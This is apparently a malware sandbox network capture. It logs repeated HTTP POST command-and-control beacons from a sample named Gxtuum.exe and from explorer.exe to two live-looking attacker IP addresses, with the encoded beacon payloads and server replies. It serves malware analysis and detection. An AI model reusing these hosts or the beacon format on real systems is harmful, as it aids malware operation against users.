107	192.168.2.11	50080	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:53.338649988 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:54.595560074 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:53 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.11	50082	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:53.933423042 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:54.054136992 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:55.388273954 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.11	50081	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:53.941865921 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:20:55.273482084 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.11	50083	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:55.617187977 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:55.737279892 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:57.086164951 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.11	50084	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:56.862883091 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:58.032808065 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.11	50085	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:57.119396925 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:20:58.426666021 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.11	50086	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:57.320593119 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:57.440711021 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:20:58.925791025 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:57 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.11	50087	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:59.338237047 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:20:59.458026886 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:00.793277025 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:20:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.11	50088	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:20:59.886848927 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:01.237404108 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.11	50089	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:00.117943048 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:01.470597029 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.11	50090	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:01.023319006 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:01.143287897 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:02.666415930 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:01 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.11	50091	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:02.914040089 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:03.033948898 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:04.525738955 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.11	50092	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:03.155030966 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:04.503602028 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.11	50093	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:03.329755068 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:04.674779892 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.11	50094	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:04.760838032 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:04.883956909 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:06.369031906 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.11	50095	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:06.190773010 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:07.534276009 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:06 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.11	50096	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:06.381831884 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:07.722229004 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.11	50097	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:06.604017019 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:06.729007006 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:08.069358110 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:07 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.11	50098	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:08.305303097 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:08.425048113 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:09.905309916 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.11	50099	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:09.362879038 CET	158	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:10.691335917 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:09 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.11	50100	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:09.510809898 CET	155	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 13, 2024 08:21:10.846005917 CET	205	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 8 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 33 3c 64 3e Data Ascii: <c>3<d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.11	50101	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:10.161757946 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:10.281728029 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:11.756026983 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.11	50102	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:11.992013931 CET	278	OUT	POST /VzCAHn.php?A629855EB2A22925382193 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 13, 2024 08:21:12.112685919 CET	6	OUT	Data Raw: 44 0a 58 05 Data Ascii: DX
Dec 13, 2024 08:21:13.452770948 CET	216	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:12 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.11	50103	185.81.68.148	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:12.404058933 CET	310	OUT	POST /8Fvu5jh4DbS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.148 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:13.721525908 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.11	50104	185.81.68.147	80	3076	C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 08:21:12.589831114 CET	307	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 38 32 44 30 39 36 36 33 35 41 32 39 41 31 46 41 30 41 38 39 37 46 43 35 36 30 32 35 43 32 45 39 44 45 36 34 39 44 42 43 38 37 42 39 38 32 36 33 46 30 41 42 45 43 44 35 46 41 44 34 38 43 42 45 46 43 37 46 33 33 38 39 42 42 30 35 36 39 38 30 44 32 38 37 42 38 32 32 37 41 39 33 32 36 39 44 41 32 34 45 30 44 43 36 46 33 38 45 46 46 38 38 42 42 45 35 39 39 35 45 32 38 42 35 34 46 37 39 39 35 30 37 45 41 30 46 45 39 35 45 30 30 37 32 42 35 45 30 36 31 43 38 Data Ascii: r=82D096635A29A1FA0A897FC56025C2E9DE649DBC87B98263F0ABECD5FAD48CBEFC7F3389BB056980D287B8227A93269DA24E0DC6F38EFF88BBE5995E28B54F799507EA0FE95E0072B5E061C8
Dec 13, 2024 08:21:13.940124989 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 15:21:13 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 7 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.11	50105	185.81.68.147	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
